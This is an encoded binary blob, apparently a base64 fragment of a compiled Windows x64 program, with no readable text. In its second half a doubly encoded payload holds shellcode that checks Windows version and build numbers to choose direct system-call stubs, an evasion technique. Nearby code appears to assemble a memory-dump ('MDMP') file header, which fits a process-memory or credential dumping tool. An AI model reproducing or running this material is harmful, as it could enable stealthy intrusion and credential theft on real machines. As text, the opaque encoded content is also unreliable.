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/////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFYwaUo1MGlENVBCSWcrd2c2TDhzQUFCSWlmeGZ3Mll1RHgrRUFBQUFBQUREWmk0UEg0UUFBQUFBQUE4ZlJBQUFaVWlMQkNWZ0FBQUFnN2dZQVFBQUJuUU9nN2dZQVFBQUNuUlE2VDhCQUFDRHVCd0JBQUFCZEIrRHVCd0JBQUFDRDRUT0FBQUFnN2djQVFBQUF3K0V5QUFBQU9rWEFRQUFab0c0SUFFQUFMQWRENFNmQUFBQVpvRzRJQUVBQUxFZEQ0U1hBQUFBNmZRQUFBQm1nYmdnQVFBQUFDZ1BoSmdBQUFCbWdiZ2dBUUFBV2lrUGhKQUFBQUJtZ2JnZ0FRQUFPVGdQaElnQUFBQm1nYmdnQVFBQTF6b1BoSUFBQUFCbWdiZ2dBUUFBcXo5MGZHYUJ1Q0FCQUFEdVFuUjRab0c0SUFFQUFHTkZkSFJtZ2JnZ0FRQUF1a2QwY0dhQnVDQUJBQUM3UjNSc1pvRzRJQUVBQUdGS2RHaG1nYmdnQVFBQVlrcDBaT3RwdUQ0QUFBRHJZN2crQUFBQTYxeTRQd0FBQU90VnVFQUFBQURyVHJoQkFBQUE2MGU0UVFBQUFPdEF1RUVBQUFEck9iaEJBQUFBNnpLNFFRQUFBT3NydUVFQUFBRHJKTGhCQUFBQTZ4MjRRUUFBQU9zV3VFRUFBQURyRDdoQkFBQUE2d2k0UVFBQUFPc0J3MG1KeWc4RncyVklpd1FsWUFBQUFJTzRHQUVBQUFaMERvTzRHQUVBQUFwMFVPay9BUUFBZzdnY0FRQUFBWFFmZzdnY0FRQUFBZytFemdBQUFJTzRIQUVBQUFNUGhNZ0FBQURwRndFQUFHYUJ1Q0FCQUFDd0hRK0Vud0FBQUdhQnVDQUJBQUN4SFErRWx3QUFBT24wQUFBQVpvRzRJQUVBQUFBb0Q0U1lBQUFBWm9HNElBRUFBRm9wRDRTUUFBQUFab0c0SUFFQUFEazRENFNJQUFBQVpvRzRJQUVBQU5jNkQ0U0FBQUFBWm9HNElBRUFBS3MvZEh4bWdiZ2dBUUFBN2tKMGVHYUJ1Q0FCQUFCalJYUjBab0c0SUFFQUFMcEhkSEJtZ2JnZ0FRQUF1MGQwYkdhQnVDQUJBQUJoU25Sb1pvRzRJQUVBQUdKS2RHVHJhYmc1QUFBQTYyTzRPUUFBQU90Y3VEb0FBQURyVmJnN0FBQUE2MDY0UEFBQUFPdEh1RHdBQUFEclFMZzhBQUFBNnptNFBBQUFBT3N5dUR3QUFBRHJLN2c4QUFBQTZ5UzRQQUFBQU9zZHVEd0FBQURyRnJnOEFBQUE2dys0UEFBQUFPc0l1RHdBQUFEckFjTkppY29QQmNObFNJc0VKV0FBQUFDRHVCZ0JBQUFHZEE2RHVCZ0JBQUFLZEZEcFB3RUFBSU80SEFFQUFBRjBINE80SEFFQUFBSVBoTTRBQUFDRHVCd0JBQUFERDRUSUFBQUE2UmNCQUFCbWdiZ2dBUUFBc0IwUGhKOEFBQUJtZ2JnZ0FRQUFzUjBQaEpjQUFBRHA5QUFBQUdhQnVDQUJBQUFBS0ErRW1BQUFBR2FCdUNBQkFBQmFLUStFa0FBQUFHYUJ1Q0FCQUFBNU9BK0VpQUFBQUdhQnVDQUJBQURYT2crRWdBQUFBR2FCdUNBQkFBQ3JQM1I4Wm9HNElBRUFBTzVDZEhobWdiZ2dBUUFBWTBWMGRHYUJ1Q0FCQUFDNlIzUndab0c0SUFFQUFMdEhkR3htZ2JnZ0FRQUFZVXAwYUdhQnVDQUJBQUJpU25SazYybTRQd0FBQU90anVEOEFBQURyWExoQUFBQUE2MVc0UVFBQUFPdE91RUlBQUFEclI3aENBQUFBNjBDNFFnQUFBT3M1dUVJQUFBRHJNcmhDQUFBQTZ5dTRRZ0FBQU9za3VFSUFBQURySGJoQ0FBQUE2eGE0UWdBQUFPc1B1RUlBQUFEckNMaENBQUFBNndIRFNZbktEd1hEWlVpTEJDVmdBQUFBZzdnWUFRQUFCblFPZzdnWUFRQUFDblJRNlQ4QkFBQ0R1QndCQUFBQmRCK0R1QndCQUFBQ0Q0VE9BQUFBZzdnY0FRQUFBdytFeUFBQUFPa1hBUUFBWm9HNElBRUFBTEFkRDRTZkFBQUFab0c0SUFFQUFMRWRENFNYQUFBQTZmUUFBQUJtZ2JnZ0FRQUFBQ2dQaEpnQUFBQm1nYmdnQVFBQVdpa1BoSkFBQUFCbWdiZ2dBUUFBT1RnUGhJZ0FBQUJtZ2JnZ0FRQUExem9QaElBQUFBQm1nYmdnQVFBQXF6OTBmR2FCdUNBQkFBRHVRblI0Wm9HNElBRUFBR05GZEhSbWdiZ2dBUUFBdWtkMGNHYUJ1Q0FCQUFDN1IzUnNab0c0SUFFQUFHRktkR2htZ2JnZ0FRQUFZa3AwWk90cHVDTUFBQURyWTdnakFBQUE2MXk0SkFBQUFPdFZ1Q1VBQUFEclRyZ21BQUFBNjBlNEpnQUFBT3RBdUNZQUFBRHJPYmdtQUFBQTZ6SzRKZ0FBQU9zcnVDWUFBQURySkxnbUFBQUE2eDI0SmdBQUFPc1d1Q1lBQUFEckQ3Z21BQUFBNndpNEpnQUFBT3NCdzBtSnlnOEZ3MlZJaXdRbFlBQUFBSU80R0FFQUFBWjBEb080R0FFQUFBcDBVT2svQVFBQWc3Z2NBUUFBQVhRZmc3Z2NBUUFBQWcrRXpnQUFBSU80SEFFQUFBTVBoTWdBQUFEcEZ3RUFBR2FCdUNBQkFBQ3dIUStFbndBQUFHYUJ1Q0FCQUFDeEhRK0Vsd0FBQU9uMEFBQUFab0c0SUFFQUFBQW9ENFNZQUFBQVpvRzRJQUVBQUZvcEQ0U1FBQUFBWm9HNElBRUFBRGs0RDRTSUFBQUFab0c0SUFFQUFOYzZENFNBQUFBQVpvRzRJQUVBQUtzL2RIeG1nYmdnQVFBQTdrSjBlR2FCdUNBQkFBQmpSWFIwWm9HNElBRUFBTHBIZEhCbWdiZ2dBUUFBdTBkMGJHYUJ1Q0FCQUFCaFNuUm9ab0c0SUFFQUFHSktkR1RyYWJqNUFBQUE2Mk80K1FBQUFPdGN1QXNCQUFEclZiZ09BUUFBNjA2NEZBRUFBT3RIdUJjQkFBRHJRTGdaQVFBQTZ6bTRIUUVBQU9zeXVCOEJBQURySzdnaEFRQUE2eVM0SWdFQUFPc2R1Q01CQUFEckZyZ2pBUUFBNncrNEtBRUFBT3NJdUNnQkFBRHJBY05KaWNvUEJjTmxTSXNFSldBQUFBQ0R1QmdCQUFBR2RBNkR1QmdCQUFBS2RGRHBQd0VBQUlPNEhBRUFBQUYwSDRPNEhBRUFBQUlQaE00QUFBQ0R1QndCQUFBREQ0VElBQUFBNlJjQkFBQm1nYmdnQVFBQXNCMFBoSjhBQUFCbWdiZ2dBUUFBc1IwUGhKY0FBQURwOUFBQUFHYUJ1Q0FCQUFBQUtBK0VtQUFBQUdhQnVDQUJBQUJhS1ErRWtBQUFBR2FCdUNBQkFBQTVPQStFaUFBQUFHYUJ1Q0FCQUFEWE9nK0VnQUFBQUdhQnVDQUJBQUNyUDNSOFpvRzRJQUVBQU81Q2RIaG1nYmdnQVFBQVkwVjBkR2FCdUNBQkFBQzZSM1J3Wm9HNElBRUFBTHRIZEd4bWdiZ2dBUUFBWVVwMGFHYUJ1Q0FCQUFCaVNuUms2Mm00SGdBQUFPdGp1QjRBQUFEclhMZ2ZBQUFBNjFXNElBQUFBT3RPdUNFQUFBRHJSN2doQUFBQTYwQzRJUUFBQU9zNXVDRUFBQURyTXJnaEFBQUE2eXU0SVFBQUFPc2t1Q0VBQUFEckhiZ2hBQUFBNnhhNElRQUFBT3NQdUNFQUFBRHJDTGdoQUFBQTZ3SERTWW5LRHdYRFpVaUxCQ1ZnQUFBQWc3Z1lBUUFBQm5RT2c3Z1lBUUFBQ25SUTZUOEJBQUNEdUJ3QkFBQUJkQitEdUJ3QkFBQUNENFRPQUFBQWc3Z2NBUUFBQXcrRXlBQUFBT2tYQVFBQVpvRzRJQUVBQUxBZEQ0U2ZBQUFBWm9HNElBRUFBTEVkRDRTWEFBQUE2ZlFBQUFCbWdiZ2dBUUFBQUNnUGhKZ0FBQUJtZ2JnZ0FRQUFXaWtQaEpBQUFBQm1nYmdnQVFBQU9UZ1BoSWdBQUFCbWdiZ2dBUUFBMXpvUGhJQUFBQUJtZ2JnZ0FRQUFxejkwZkdhQnVDQUJBQUR1UW5SNFpvRzRJQUVBQUdORmRIUm1nYmdnQVFBQXVrZDBjR2FCdUNBQkFBQzdSM1JzWm9HNElBRUFBR0ZLZEdobWdiZ2dBUUFBWWtwMFpPdHB1QTBBQUFEclk3Z05BQUFBNjF5NERnQUFBT3RWdUE4QUFBRHJUcmdRQUFBQTYwZTRFQUFBQU90QXVCQUFBQURyT2JnUUFBQUE2eks0RUFBQUFPc3J1QkFBQUFEckpMZ1FBQUFBNngyNEVBQUFBT3NXdUJBQUFBRHJEN2dRQUFBQTZ3aTRFQUFBQU9zQncwbUp5ZzhGdzJWSWl3UWxZQUFBQUlPNEdBRUFBQVowRG9PNEdBRUFBQXAwVU9rL0FRQUFnN2djQVFBQUFYUWZnN2djQVFBQUFnK0V6Z0FBQUlPNEhBRUFBQU1QaE1nQUFBRHBGd0VBQUdhQnVDQUJBQUN3SFErRW53QUFBR2FCdUNBQkFBQ3hIUStFbHdBQUFPbjBBQUFBWm9HNElBRUFBQUFvRDRTWUFBQUFab0c0SUFFQUFGb3BENFNRQUFBQVpvRzRJQUVBQURrNEQ0U0lBQUFBWm9HNElBRUFBTmM2RDRTQUFBQUFab0c0SUFFQUFLcy9kSHhtZ2JnZ0FRQUE3a0owZUdhQnVDQUJBQUJqUlhSMFpvRzRJQUVBQUxwSGRIQm1nYmdnQVFBQXUwZDBiR2FCdUNBQkFBQmhTblJvWm9HNElBRUFBR0pLZEdUcmFiZ3pBQUFBNjJPNE13QUFBT3RjdURRQUFBRHJWYmcxQUFBQTYwNjROZ0FBQU90SHVEWUFBQURyUUxnMkFBQUE2em00TmdBQUFPc3l1RFlBQUFEcks3ZzJBQUFBNnlTNE5nQUFBT3NkdURZQUFBRHJGcmcyQUFBQTZ3KzROZ0FBQU9zSXVEWUFBQURyQWNOSmljb1BCY05sU0lzRUpXQUFBQUNEdUJnQkFBQUdkQTZEdUJnQkFBQUtkRkRwUHdFQUFJTzRIQUVBQUFGMEg0TzRIQUVBQUFJUGhNNEFBQUNEdUJ3QkFBQURENFRJQUFBQTZSY0JBQUJtZ2JnZ0FRQUFzQjBQaEo4QUFBQm1nYmdnQVFBQXNSMFBoSmNBQUFEcDlBQUFBR2FCdUNBQkFBQUFLQStFbUFBQUFHYUJ1Q0FCQUFCYUtRK0VrQUFBQUdhQnVDQUJBQUE1T0ErRWlBQUFBR2FCdUNBQkFBRFhPZytFZ0FBQUFHYUJ1Q0FCQUFDclAzUjhab0c0SUFFQUFPNUNkSGhtZ2JnZ0FRQUFZMFYwZEdhQnVDQUJBQUM2UjNSd1pvRzRJQUVBQUx0SGRHeG1nYmdnQVFBQVlVcDBhR2FCdUNBQkFBQmlTblJrNjJtNFBBQUFBT3RqdUR3QUFBRHJYTGc5QUFBQTYxVzRQZ0FBQU90T3VEOEFBQURyUjdnL0FBQUE2MEM0UHdBQUFPczV1RDhBQUFEck1yZy9BQUFBNnl1NFB3QUFBT3NrdUQ4QUFBRHJIYmcvQUFBQTZ4YTRQd0FBQU9zUHVEOEFBQURyQ0xnL0FBQUE2d0hEU1luS0R3WERaaTRQSDRRQUFBQUFBRUZYUVZaQlZVRlVWVmUvQUJBQUFGWk1pYzVUU0lIc0dBWUFBRW1MbVlBQUFBQk1pWVFrMkFFQUFJbVVKSmdCQUFCSWlZd2tvQUVBQUVqSGhDU1lBQUFBQUFBQUFNZUVKS0FBQUFBQUFBQUFTTWVFSkxBQkFBQUFBQUFBeDRRa3VBRUFBQUFBQUFCSXg0UWt3QUVBQUFBQUFBQkl4NFFreUFFQUFBQUFBQURIaENUUUFRQUFJZ2dBQUVqSGhDVG9BUUFBQUFBQUFFakhoQ1R3QVFBQUFBQUFBRWpIaENUNEFRQUFBQUFBQUVqSGhDUUFBZ0FBQUFBQUFNZUVKT0FCQUFBQUFBQUFRZitSaUFBQUFFRzRBQkFBQURIU1NJbkIvOU5JaWNOSWhjQjFOK25EQ2dBQVppNFBINFFBQUFBQUFFaUxycGdBQUFBQi8vK1dpQUFBQUVtSjJFR0orVEhTU0luQi85VklpY05JaGNBUGhKRUtBQUJGTWNsQmlmaElpZHE1QlFBQUFPai8rLy8vUFFRQUFNQjB2b1hBRDRWWUNnQUFpNHdrbUFFQUFFaUoyamxMVUErRlB3b0FBSXQ2QkVpTHJvQUFBQUNKdkNTNEFRQUEvNWFJQUFBQVRJMEVmekhTU0luQlNjSGdBdi9WU0ltRUpMQUJBQUJJaGNBUGhBNEtBQUJJaTc2UUFBQUFTSTJzSkJBQ0FBQk1qYXdrOEFBQUFQK1dpQUFBQUVtSjJESFNUSTJrSkxBQUFBQklpY0c3QVFBQUFQL1hTSTJNSkpBQkFBQklpZkpJamJ3a2hBQUFBT2dBRlFBQWk1UWs0QUVBQUVVeHlVVXh3RWk0VFVSTlVKT25BQUJJaTR3azJBRUFBTWVFSk9BQUFBQUFBQUFBU0ltRUpOQUFBQUJJdUFRQUFBQWdBQUFBU0ltRUpOZ0FBQUJJeDRRazZBQUFBQ0lJQUFEL2xxQUFBQUJJaVhRa0lFbUo2VWlMakNUWUFRQUFRYmdnQUFBQVNJMlVKTkFBQUFEb1p3c0FBSXVFSk9BQkFBQk1pZW5IaENTa0FBQUFCd0FBQUlQQVVJbUVKT0FCQUFDSmhDU3NBQUFBLzVhd0FB